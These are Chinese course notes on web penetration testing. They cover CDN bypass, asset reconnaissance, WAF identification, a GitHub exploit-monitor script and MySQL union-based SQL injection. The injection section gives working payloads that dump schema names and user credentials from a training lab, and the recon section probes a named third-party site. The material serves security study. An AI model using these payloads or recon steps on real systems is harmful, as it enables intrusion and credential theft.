然后进行AES解密,得到密文1_mozhe
小迪WEB_第83张图片
然后再进行代码审计,将_mozhe除去,得到1;
小迪WEB_第84张图片
我们在进行SQL注入的时候,要将1 and 1=1 或者其他的payload转化成相同的格式进行加密,然后才可以注入;

第一次加密
小迪WEB_第85张图片
第二次加密小迪WEB_第86张图片
因为暂时没有学习SQL注入,题目就做到加解密结束了;

第07天:信息收集—CDN绕过

前言:CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若存在CDN服务,将会影响到后续的安全测试过程

如何判断目标存在CDN服务

利用多节点技术进行请求返回判断
在线查询网站:超级ping
当ping出来的返回IP地址都是一样的时候,就证明没有CDN

像这样的就没有CD小迪WEB_第87张图片
当ping出来的响应IP地址不一样的时候就证明有CDN
小迪WEB_第88张图片

目前常见的CDN绕过技术有哪些

1. 子域名查询
从经济来讲,主站关注点更高,为了节约成本,主站做CDN服务,子域名分站可能没有做CDN服务。所以如果子域名没有做CDN服务,它的真实IP可以推出主站IP。一般来说,主站跟分站在一个段内;

子域名的查询
在线子域名二级域名查询

子域名小技巧
一般情况下,www.XXX.com和XXX.com指向的是同一个DNS服务器,进入XXX.com会自动跳转到www.XXX.com,所以XXX.com不需要大流量,不用做CDN。如果加www检测不出来,可以试着去掉,或许就可以得到真实IP了。

这样子设置就是两个意义。在这里插入图片描述

m.xxx.com是手机站点和上面子域名小技巧是一个意思。

2. 邮件服务查询
很多公司内部都会有一个邮件服务器,正规的好的公司都会有自己的邮箱地址,内部会有邮箱服务器,一般没必要去做CDN。这里会有正向反向的差别,邮件服务器是对方发邮件给你,它来找你,这样它的真实IP地址就会泄露,根据对方邮件服务器给我们发送的邮件,来判定对方邮件服务器的地址。

3. 国外地址请求
有些网站为了节约成本,它会只考虑它的客户群体的地区来做一个CDN节点的部署,而不会布置到国外去,如果通过国外地址去请求国内的目标,很容易找到真实IP地址,因为它的节点没有布置到国外。
这里用到一款全球ping扫工具,热度越低的国家,效果越好。
全球ping:IPIPtools

4. 遗留文件,扫描全网
一些站点在搭建之初,会用一些文件测试站点,例如“phpinfo()”文件,此类文件里就有可能包含了真实的IP地址。可以利用Google搜索引擎搜索关键字“site:xxx.com inurl:phpinfo.php”,搜索站点是否有遗留文件。
小迪WEB_第89张图片
扫描全网:
在上面的方法不行的时候采取的一个究极办法,借助一些工具、软件或者平台,把全世界的网络对你的网站进行访问,判断一下响应IP,通过IP地址的收集整理,把节点访问的IP地址全部收集下来,去分析哪一个可能是真实IP地址。
因为不可能每个地区都有CDN节点,真实IP一定在收集的里面,至少服务器所在地区应该没有CDN服务,把所有可能性收集在一起,直到找到真实IP地址。

5. 黑暗引擎搜索特定文件

黑暗搜索引擎就是另类的百度、谷歌,有shodan,zoomeye、fofa。
小迪WEB_第90张图片会有搜索特定关键词,更加的实时,可以搜索指定文件;
这里的特定文件,指的是站点的icon文件,也就是网站的图标,一般查看网页源代码可以找到,格式大致“http://www.xx.com/favicon.ico”。在shodan搜索网站icon图标的语法为:http.favicon.hash:hash值,hash是一个未知的随机数,我们可以通过shodan语法来查看一个已经被shodan收录的网站的hash值,来进一步获取到所有带有某icon的网站。

6. DNS历史记录,以量打量
通过查询网站相关的DNS记录,以前这个网站没使用CDN服务,会遗留一些服务,找到没有设置CDN时的历史记录,找到IP地址,有可能就是真实IP地址。

“以量打量”就是常说的ddos攻击或者说是流量耗尽攻击,在网上开CDN的时候,都会分地区流量,就比如这个节点有100M流量,当这流量用完后,用户再访问就会访问网站真实的ip地址。
这样攻击属于违法的,并不推荐。

演示案例

1. 利用子域名请求IP真实地址
我们在这边ping一下学而思的域名;
小迪WEB_第91张图片
发现找不到它的真实IP地址;
小迪WEB_第92张图片
但是我们去ping下面这个域名时
小迪WEB_第93张图片
可以看出来,真实IP地址不是124.250.113.71 就是124.250.113.72。

2. 利用第三方接口查询获取真实IP

第三方接口网站:
Get Site Ip
微步在线

用上面的网站来查询学而思的真实IP地址
小迪WEB_第94张图片
真实IP地址为124.250.113.72

3. 利用邮件服务器接口获取真实IP
mozhe 邮件源码测试对比第三方查询(地区分析)

收到一份墨者的邮件,点开圈红的地方
小迪WEB_第95张图片
然后可以看到“显示邮件全文”几个字
小迪WEB_第96张图片
得到了疑似真实IP地址
在这里插入图片描述
然后查询这个IP地址所在的位置,在重庆
小迪WEB_第97张图片
墨者的公司也在重庆,基本上可以确定是真实IP地址(小迪也这样觉得)

第08天:信息收集—架构、搭建、WAF等

前言:在安全测试中,信息收集是非常重要的一个环节,此环节的信息将影响到后续的成功几率,掌握信息的多少将决定发现漏洞机会大小,换言之决定着是否能完成目标的测试任务。也可以很直接的跟大家说:渗透测试的思路就是从信息收集这里开始,你与大牛的差距也是从这里开始的。

小迪WEB_第98张图片

站点搭建分析

1)搭建习惯——目录型站点
原则上是一个网站,但是区别在于目录下的差异;
例如:D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\aarch64-linux-android-4.9
和D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\mips64el-linux-android-clang,这两者只是目录路径不同;
小迪WEB_第99张图片
小迪WEB_第100张图片
但是两个网站使用的是两套程序,一个网站出现问题,另一个网站也会遭殃,就相当于有了两套漏洞两个方案。

我们可以通过目录扫描来获取相关信息。

2)搭建习惯——端口类站点
通过不同的端口将两个网站分开,一个网站出了问题,另一个网站也会出现问题;
例如:小迪的靶场

3)搭建习惯——子域名站点
通过子域名将两个网站分开,可能在一起,也可能不在一起,就是两个网站可能不在同一个服务器上;

goodlift-www.bbs-子域名两套CMS
主站使用的
小迪WEB_第101张图片
分站使用的
小迪WEB_第102张图片
ping出来的IP是一样的,在同一个服务器上
小迪WEB_第103张图片
也有可能不在一起,但是可能在同一网段,也有可能不同网段;

4)搭建习惯——类似域名站点
通过后缀寻找类似站点,通过中间的域名去找类似域名;
寻找出自于同一公司的网站;

jmlsd -cn.com.net等各种常用域名后缀名;

没修改后缀名;
在这里插入图片描述
修改后缀名后的网站
小迪WEB_第104张图片

5)搭建习惯——旁注,C段站点

  • 旁注
    同服务器不同站点,前提条件是:有多个站点服务器;旁注是一种入侵方法,在字面上解释就是-“从旁注入”,利用同一主机上面不同网站的漏洞得到webshell,从而利用主机上的程序或者是服务所暴露的用户所在的物理路径进行入侵。
    192.168.1.100
    www.a.com
    www.b.com
    ……

  • C段
    同网段不同服务器不同站点;网站有一个或多个站点,通过服务器IP地址的网段来进行测试。
    192.168.1.100
    www.a.com
    www.b.com

    192.168.1.101
    www.c.com
    www.d.com
    通过查询网段1-254,去获取101网段服务器权限,在通过服务器同一个网段目标主机来实施内网安全的测试方法,来获取指定网服务器的权限。

6)搭建习惯——搭建软件特征站点
搭建软件:宝塔、lnmap等软件。
小迪WEB_第105张图片
用中间件搭建,在网站源代码中显示的服务器信息比较少,用搭建平台,显示的服务器信息比较多。

WAF防护分析

1)什么是WAF应用
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

分为软件和硬件,在安全公司单位购买的防火墙都是硬件,个人网站和小企业搭建都是软件。

2)如何快速识别WAF

使用wafw00f可以快速识别,Linux上的kali自带,直接就可以使用
命令: wafw00f 域名/IP
小迪WEB_第106张图片
还有其他几种方法,像sqlmap,namp都可以去查找WAF;

以下是wafw00f可以识别的WAF

  ACE XML Gateway                  Cisco                            
  aeSecure                         aeSecure                         
  AireeCDN                         Airee                            
  Airlock                          Phion/Ergon                      
  Alert Logic                      Alert Logic                      
  AliYunDun                        Alibaba Cloud Computing          
  Anquanbao                        Anquanbao                        
  AnYu                             AnYu Technologies                
  Approach                         Approach                         
  AppWall                          Radware                          
  Armor Defense                    Armor                            
  ArvanCloud                       ArvanCloud                       
  ASP.NET Generic                  Microsoft                        
  ASPA Firewall                    ASPA Engineering Co.             
  Astra                            Czar Securities                  
  AWS Elastic Load Balancer        Amazon                           
  AzionCDN                         AzionCDN                         
  Azure Front Door                 Microsoft                        
  Barikode                         Ethic Ninja                      
  Barracuda                        Barracuda Networks               
  Bekchy                           Faydata Technologies Inc.        
  Beluga CDN                       Beluga                           
  BIG-IP Local Traffic Manager     F5 Networks                      
  BinarySec                        BinarySec                        
  BitNinja                         BitNinja                         
  BlockDoS                         BlockDoS                         
  Bluedon                          Bluedon IST                      
  BulletProof Security Pro         AITpro Security                  
  CacheWall                        Varnish                          
  CacheFly CDN                     CacheFly                         
  Comodo cWatch                    Comodo CyberSecurity             
  CdnNS Application Gateway        CdnNs/WdidcNet                   
  ChinaCache Load Balancer         ChinaCache                       
  Chuang Yu Shield                 Yunaq                            
  Cloudbric                        Penta Security                   
  Cloudflare                       Cloudflare Inc.                  
  Cloudfloor                       Cloudfloor DNS                   
  Cloudfront                       Amazon                           
  CrawlProtect                     Jean-Denis Brun                  
  DataPower                        IBM                              
  DenyALL                          Rohde & Schwarz CyberSecurity    
  Distil                           Distil Networks                  
  DOSarrest                        DOSarrest Internet Security      
  DotDefender                      Applicure Technologies           
  DynamicWeb Injection Check       DynamicWeb                       
  Edgecast                         Verizon Digital Media            
  Eisoo Cloud Firewall             Eisoo                            
  Expression Engine                EllisLab                         
  BIG-IP AppSec Manager            F5 Networks                      
  BIG-IP AP Manager                F5 Networks                      
  Fastly                           Fastly CDN                       
  FirePass                         F5 Networks                      
  FortiWeb                         Fortinet                         
  GoDaddy Website Protection       GoDaddy                          
  Greywizard                       Grey Wizard                      
  Huawei Cloud Firewall            Huawei                           
  HyperGuard                       Art of Defense                   
  Imunify360                       CloudLinux                       
  Incapsula                        Imperva Inc.                     
  IndusGuard                       Indusface                        
  Instart DX                       Instart Logic                    
  ISA Server                       Microsoft                        
  Janusec Application Gateway      Janusec                          
  Jiasule                          Jiasule                          
  Kona SiteDefender                Akamai                           
  KS-WAF                           KnownSec                         
  KeyCDN                           KeyCDN                           
  LimeLight CDN                    LimeLight                        
  LiteSpeed                        LiteSpeed Technologies           
  Open-Resty Lua Nginx             FLOSS                            
  Oracle Cloud                     Oracle                           
  Malcare                          Inactiv                          
  MaxCDN                           MaxCDN                           
  Mission Control Shield           Mission Control                  
  ModSecurity                      SpiderLabs                       
  NAXSI                            NBS Systems                      
  Nemesida                         PentestIt                        
  NevisProxy                       AdNovum                          
  NetContinuum                     Barracuda Networks               
  NetScaler AppFirewall            Citrix Systems                   
  Newdefend                        NewDefend                        
  NexusGuard Firewall              NexusGuard                       
  NinjaFirewall                    NinTechNet                       
  NullDDoS Protection              NullDDoS                         
  NSFocus                          NSFocus Global Inc.              
  OnMessage Shield                 BlackBaud                        
  Palo Alto Next Gen Firewall      Palo Alto Networks               
  PerimeterX                       PerimeterX                       
  PentaWAF                         Global Network Services          
  pkSecurity IDS                   pkSec                            
  PT Application Firewall          Positive Technologies            
  PowerCDN                         PowerCDN                         
  Profense                         ArmorLogic                       
  Puhui                            Puhui                            
  Qiniu                            Qiniu CDN                        
  Reblaze                          Reblaze                          
  RSFirewall                       RSJoomla!                        
  RequestValidationMode            Microsoft                        
  Sabre Firewall                   Sabre                            
  Safe3 Web Firewall               Safe3                            
  Safedog                          SafeDog                          
  Safeline                         Chaitin Tech.                    
  SecKing                          SecKing                          
  eEye SecureIIS                   BeyondTrust                      
  SecuPress WP Security            SecuPress                        
  SecureSphere                     Imperva Inc.                     
  Secure Entry                     United Security Providers        
  SEnginx                          Neusoft                          
  ServerDefender VP                Port80 Software                  
  Shield Security                  One Dollar Plugin                
  Shadow Daemon                    Zecure                           
  SiteGround                       SiteGround                       
  SiteGuard                        Sakura Inc.                      
  Sitelock                         TrueShield                       
  SonicWall                        Dell                             
  UTM Web Protection               Sophos                           
  Squarespace                      Squarespace                      
  SquidProxy IDS                   SquidProxy                       
  StackPath                        StackPath                        
  Sucuri CloudProxy                Sucuri Inc.                      
  Tencent Cloud Firewall           Tencent Technologies             
  Teros                            Citrix Systems                   
  Trafficshield                    F5 Networks                      
  TransIP Web Firewall             TransIP                          
  URLMaster SecurityCheck          iFinity/DotNetNuke               
  URLScan                          Microsoft                        
  UEWaf                            UCloud                           
  Varnish                          OWASP                            
  Viettel                          Cloudrity                        
  VirusDie                         VirusDie LLC                     
  Wallarm                          Wallarm Inc.                     
  WatchGuard                       WatchGuard Technologies          
  WebARX                           WebARX Security Solutions        
  WebKnight                        AQTRONIX                         
  WebLand                          WebLand                          
  RayWAF                           WebRay Solutions                 
  WebSEAL                          IBM                              
  WebTotem                         WebTotem                         
  West263 CDN                      West263CDN                       
  Wordfence                        Defiant                          
  WP Cerber Security               Cerber Tech                      
  WTS-WAF                          WTS                              
  360WangZhanBao                   360 Technologies                 
  XLabs Security WAF               XLabs                            
  Xuanwudun                        Xuanwudun                        
  Yundun                           Yundun                           
  Yunsuo                           Yunsuo                           
  Yunjiasu                         Baidu Cloud Computing            
  YXLink                           YxLink Technologies              
  Zenedge                          Zenedge                          
  ZScaler                          Accenture        

3)识别WAF对于安全测试的意义
如果我们发现对面有WAF,不能对对面用扫描工具进行扫描;

第09天:信息收集—APP及其他资产等

前言:在安全测试中,若WEB无法取得进展或无WEB的情况下,我们需要借助APP或其他资产在进行信息收集,从而开展后续渗透,那么其中的信息收集尤为重要,这里我们用案例讲解试试如何!

APP提取一键反编译

这里的APP用逍遥模拟器代替一下,然后再用工具,漏了个大洞里面的apk数据提取这个工具;
小迪WEB_第107张图片

点开result,然后找到反编译的那个APP,里面的文件都是需要一些java代码基础的才能看懂,这里就不去过多的解释;
小迪WEB_第108张图片
这些是从apk中提取出来的url地址,可以通过这几种网站进行安全测试;
小迪WEB_第109张图片

APP抓数据包进行工具配合

打开burp,修改一下逍遥模拟器的代理,然后就可以进行抓包;
小迪WEB_第110张图片
然后就可以抓到包了
小迪WEB_第111张图片
根据url文件和抓包可以获得更多地址,有助于安全测试;

演示案例

1)某IP无WEB框架下的第三方测试
各种端口一顿乱扫—思路
各种接口一顿乱扫—思路
接口部分一顿测试—思路

试用一个IP地址45.33.42.112来做测试;
首先用nmap来进行端口扫描,nmap扫描的全但是时间慢;
小迪WEB_第112张图片
也可以用黑暗引擎像shodan,钟馗之眼,fofa;
小迪WEB_第113张图片
小迪WEB_第114张图片
成功登陆进去一个端口,英特尔主动管理技术;
小迪WEB_第115张图片

2)某传销网站信息收集
换一个传销网站接着收集信息,www.caredally.com

黑暗引擎都扫描一遍;
小迪WEB_第116张图片

对这个IP进行端口分析
发现OpenSSH
小迪WEB_第117张图片
去查询一下OpenSSH有什么漏洞可以利用
小迪WEB_第118张图片
然后用昨天学习的内容再去收集信息
1.子域名查询
从中找到有用的子域名,来收集信息;
小迪WEB_第119张图片

2.类似域名站点
小迪老师用站长之家差备案查询,但是不知道为啥我的没查到,而且我还不是VIP,借用一下小迪老师的查询结果
小迪WEB_第120张图片
点开网站
小迪WEB_第121张图片
小迪WEB_第122张图片

这里查询wdcp有关的漏洞
小迪WEB_第123张图片

3.通过官网名称搜索信息
用谷歌搜索了一下,发现了.xyz的域名
小迪WEB_第124张图片
/robots.txt发现了有用的信息
在这里插入图片描述
发现了CMS
小迪WEB_第125张图片

4.子域名查询IP
小迪WEB_第126张图片

总结:总的来说就是先收集一下IP和域名,再对端口、子域名、目录扫描一遍;

第10天:信息收集—资产监控扩展

小迪WEB_第127张图片

Github监控

GitHub是搞计算机使用较多的平台,有很多项目,我们监控他可以:
便于收集整理最新exp或poc(POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。)

便于发现相关测试目标的资产
监控最新的EXP及其发布(地址:使用地址)
使用代码,有几个python库需要自己安装一下;

# Title: wechat push CVE-2020
# Date: 2020-5-9
# Exploit Author: weixiao9188
# Version: 4.0
# Tested on: Linux,windows
# cd /root/sh/git/ && nohup python3 /root/sh/git/git.py &
# coding:UTF-8

import requests
import json
import time
import os
import pandas as pd

time_sleep = 60  # 每隔 20 秒爬取一次
while (True):
    headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}
    # 判断文件是否存在
    datas = []
    response1 = None
    response2 = None
    if os.path.exists("olddata.csv"):
    # 如果文件存在则每次爬取 10 个
        df = pd.read_csv("olddata.csv", header=None)
        datas = df.where(df.notnull(), None).values.tolist()
        # 将提取出来的数据中的 nan 转化为 None
        requests.packages.urllib3.disable_warnings()
        response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&perpage = 10",headers=headers1,verify=False)
        response2 =requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&per_page=10", headers = headers1, verify = False)
    else:
    # 不存在爬取全部
        datas = []
        requests.packages.urllib3.disable_warnings()
        response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&order=desc",headers=headers1, verify=False)
        response2 =requests.get(url="https://api.github.com/search/repositories?q=ctcms&ssort=updated&order=desc", headers=headers1,verify=False)

    data1 = json.loads(response1.text)
    data2 = json.loads(response2.text)
    for j in [data1['items'], data2['items']]:
        for i in j:
            s = {"name": i['name'], "html": i['html_url'], "description": i['description']}
            s1 = [i['name'], i['html_url'], i['description']]
    if s1 not in datas:
        # print(s1)
        # print(datas)
        params = {
            "text": s["name"],
            "desp": "链接:" + str(s["html"]) + "\n简介" + str(s["description"])
        }
        print("当前推送为" + str(s) + "\n")
        # print(params)
        requests.packages.urllib3.disable_warnings()
        requests.get("https://sct.ftqq.com/SendKeySCT70049T99iUjjK1W7SP73HNAz1vbgNd.send", params=params, headers=headers1, timeout=10, verify=False)
        time.sleep(1)
        # 以防推送太快
        print("推送成功!\n")
        datas.append(s1)
    else:
        pass
        print("数据已经存在!")
pd.DataFrame(datas).to_csv("olddata.csv", header=Nonne, Index=None)
time.sleep(time_sleep)

使用之前还要申请一个Sever酱的推送,扫码登录就行,直接推送到微信上;
小迪WEB_第128张图片
然后运行代码,就可以推送到手机微信上了;
在这里插入图片描述

各种子域名查询

1. 通过DNS解析记录
看域名上曾经有哪些东西被解析过。

2.通过HTTPS证书日志搜集
通过证书也可以查到域名信息;

3.通过搜索引擎
比如谷歌、百度这种正经点的搜索网站,或者使用fofa、shodan、zoomeye等这些黑暗引擎来查询一些信息;

4.枚举
就是采用暴力破解,关键是字典、速度—多线程、dns服务器选择;

5.利用漏洞
不常使用,讲解较少;

6.从主站爬取
在一些网站的下面会有一些导航,这个导航可能会把一些网站的子域名导航出来;
在这里插入图片描述
7.whois查询和关联查询
小迪WEB_第129张图片
8.IP反查域名
小迪WEB_第130张图片

DNS,备案,证书

全球节点请求cdn

枚举爆破或解析子域名对应
便于发现管理员相关的注册信息

演示案例

1.黑暗引擎实现域名端口收集

FOFA搜索
小迪WEB_第131张图片
shodan搜索
小迪WEB_第132张图片
ZoomEye(钟馗之眼)搜索
小迪WEB_第133张图片

2.全自动域名收集脚本

下载地址
小迪WEB_第134张图片

3.SRC目标中的信息收集全覆盖

补天上SRC上简易测试;
小迪WEB_第135张图片

4.利用其他第三方接口获取更多信息

IPIP
小迪WEB_第136张图片
SecurityTrails

小迪WEB_第137张图片
Dnsdb
小迪WEB_第138张图片

第11天:WEB漏洞—必懂知识点

前言:讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。
小迪WEB_第139张图片

应用场景

CTF,SRC,红蓝对抗,实战等。

简要说明以上漏洞危害情况

每个漏洞的危害情况都是不同的,得到的东西也不同,影响范围也不一样;
例如:SQL注入直接获取到关于网站对应数据库里面的权限,将会影响到网站和服务器数据库,获得权限;

简要说明以上漏洞等级划分

高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行(直接影响到网站权限,获得数据或者网站很敏感的东西)

中危漏洞:反序列化、逻辑安全

低危漏洞:XSS跨站、目录遍历、文件读取

漏洞的等级决定漏洞的重要程度,高危漏洞是重点;

简要说明以上漏洞重点内容

从几个方面来说一下每个方面的漏洞重点,

CTF:文件上传、SQL注入、反序列化、代码执行

SRC:以上图片的漏洞都有,比较多的有逻辑安全

红蓝对抗:涉及到高危漏洞;

简要说明以上漏洞形式问题

随着安全的发展,漏洞只会越来越少,但是不是完全没有,自己找不到漏洞是因为没有做好信息收集,原理没学好,测试的时候会出问题,找不到漏洞也是自己学习没到位;

案例演示

1.SQL注入—数据库操作危害

用phpstudy搭建环境,使用pikachu靶场,用里面的SQL注入模块做测试;
小迪WEB_第140张图片
使用SQL语句,来实行SQL注入
小迪WEB_第141张图片
这类漏洞获取管理员账号密码,通过注入点和数据库数据有联系;

2.目录遍历漏洞—源码结构泄露危害

目录遍历的靶场

小迪WEB_第142张图片
对比一下网站地址,做一些分析,例如:“=”后面是参数值
小迪WEB_第143张图片
如果在文件夹下新建一个php文件,修改参数和参数名,就可以访问到新建的文件小迪WEB_第144张图片
小迪WEB_第145张图片
如果我们想来到网站的根目录WWW

问题:已知http://127.0.0.1/pikachu-master/vul/dir/dir_list.php?title=1.php
获取的是D:\phpStudy\PHPTutorial\WWW\pikachu-master\vul\dir\soup\1.php的代码

那么获取下面的网站该怎么写?
D:\phpStudy\PHPTutorial\WWW\yy.php
获取这个yy.php的代码

采取这样的写法,就可以获得
小迪WEB_第146张图片

目录遍历需要知道目录地址,不需要目录结构;
如何知道目录地址,需要目录爆破加网站模板加经验;

采用工具也可以去扫描的,扫描之前还要看看有没有安全狗,有安全狗的话,会直接把你拉黑,拒绝访问;
小迪WEB_第147张图片
可以显示文件和文件夹的名字,但是不能得到文件里面的内容;

文件读取漏洞—源码内容获取危害

还有一种目录遍历是:php遍历一个文件夹下所有文件和子文件的方法
执行代码


function my_dir($dir) {
	$files = [];
	if(@$handle = opendir($dir)) {
		while(($file = readdir($handle)) !== false) {
			if($file != ".." && $file != ".") {
				if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
					$files[$file] = my_dir($dir . "/" . $file);
				} else {
					$files[] = $file;
				}
			}
		}
        closedir($handle);
    }
	return $files;
}

echo "
";
print_r(my_dir("./"));
echo "
"
;

小迪WEB_第148张图片
这种文件遍历获取网站源码结构;

不能得到目录结构,但是能获取到单个文件的内容

文件上传漏洞—WEB权限丢失危害

小迪WEB_第149张图片
文件上传就是上传一个文件到对方的网站,拿到对方权限会留后门,将后门文件上传到网站目录下面去,能够直接植入后门;
小迪WEB_第150张图片
文件上传漏洞是一个高危漏洞,直接影响网站权限,直接植入后门;

第12天:WEB漏洞—SQL注入之简要SQL注入

前言:在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

思维导图:
小迪WEB_第151张图片
题外话:安装忍者安全测试系统;

SQL注入安全测试中危害

大部分的SQL注入是对数据库中的数据进行操作,绕过查询、更新或者是删除;
SQL注入可以操作数据,通过SQL注入直接进行后门的写入;
两个危害:一个是危害数据库中的数据,另一个直接危害网站权限;

SQL注入产生原理详细分析

注:这一块讲解的知识点,和演示案例1有很多相似的地方;

可控变量,带入数据库查询,变量未存在过滤或者过滤不严谨

像下面这个变量id就是可控变量,通过参数传递,可以对id进行变化;
在这里插入图片描述
另外如果没有上面图中的mysql_query这个语句去执行的话,也不能成功,带入数据库才行;

课上提问:
小迪WEB_第152张图片
答案是1、2、3;
需要可以控制变量,需要有参数,加不加index.php其实访问的页面都一样;答案4也可以,这里暂时不讲;

课上提问:
小迪WEB_第153张图片
答案是2、3;
答案1,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
答案4,都没有参数x,怎么可能会有注入;

搭建第一个SQL注入学习靶场环境

搭建的是sqlilabs,我自己在本机上搭建了很久,phpstudy就是运行不起来,没办法直接拖入虚拟机里搭建了;
小迪WEB_第154张图片
基本上sql注入都可以在这里学习;

学习第一个数据库MySQL简单注入

小迪WEB_第155张图片
MYSQL数据库
数据库A=网站A

表名 tables
列名
数据
数据库B=网站B
…………
数据库C=网站C
…………
一层一层查询;

案例演示

  1. 简易代码分析 SQL 注入原理
  • 打开SQLlibs,选择第二关;
    小迪WEB_第156张图片
  • 拼接构造语句、实现注入
    小迪WEB_第157张图片
    通过简单的例子,大概知道注入是怎么一回事了;

SQL注入原理:通过参数的传递,传递数据过去,拼接到之前定义好的SQL语句中去,由于能拼接,将一些恶意的SQL语句拼接上去,语句就会进行一些重新的用法,实现自定义的查询;

补充:为什么图片里面的id=-2,因为我们要查询的表是另外一个,所以要把前面的查询语句置否,然后数据库就会执行后面那句;

因为这里的id=$id,是变量可以修改,如果给定了一个值,就不可以去执行,没办法进行操作;
在这里插入图片描述

2.墨者靶机真实MYSQL注入演示

  • 打开靶场环境
    小迪WEB_第158张图片
    补充:如何判断注入点?
    老办法:
    and 1=1 页面正常
    and 1=2 页面错误
    可能存在注入点

新办法:
select * from users where id=1dadaavaz LIMIT 0,1
这样输入,如果对网站有影响,证明他代入数据库查询了,证明了会有漏洞;
如果报了404错误,说明检测了,但是没有漏洞;

  • 判断注入
    猜解列名数量(字段数),因为union联合查询字段数必须一样,否则会报错;
    使用order by x(数字) 错误与正常的临界值;
    输入5是错误的

219.153.49.228:42123/new_list.php?id=1 order by 4
小迪WEB_第159张图片

报错猜解准备
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
小迪WEB_第160张图片
2和3有显示位,数据出来可以看见

  • 开始信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux

必要知识点:
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

  1. 查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
    http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
    小迪WEB_第161张图片

  2. 查询指定表名StormGroup_member下的列名信息:
    http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

  3. 查询指定数据
    http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
    小迪WEB_第162张图片
    MD5解密password,得到密码

  4. 猜解多个数据可以采用limit x,1
    http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
    小迪WEB_第163张图片
    解题成功
    小迪WEB_第164张图片

第13天:WEB漏洞—SQL注入之MYSQL注入

前言:MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

继续上节课没有完成的部分;
小迪WEB_第165张图片

  • 继续使用sqlilabs这个靶场测试

可以看到这个用户名时是root,是最高权限,除root之外都是普通用户
小迪WEB_第166张图片

高权限注入及低权限注入

1.跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点,

  • 通过’ select * from schemata;'语句,查询数据库中所有数据库的名字;

小迪WEB_第167张图片
实现跨库注入,首先需要获得跨库的数据库的名字;

information_shema表特性,记录库名、表名、列名对应表;

  • 通过SQL语句注入,获得所有数据库名字;
    http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
    小迪WEB_第168张图片
  • 获取指定dvwa数据库名下的表名信息
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
    小迪WEB_第169张图片
  • 获取指定dvwa数据库名下的表名users下的列名信息;
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
    小迪WEB_第170张图片

如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加;
如下:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’
在这里插入图片描述
跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表;
小迪WEB_第171张图片

文件读写操作

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数

路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
1.报错显示
网站出现错误时,会显示路径;
在这里插入图片描述
2.遗留文件
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;
小迪WEB_第172张图片
3.漏洞报错
知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
小迪WEB_第173张图片
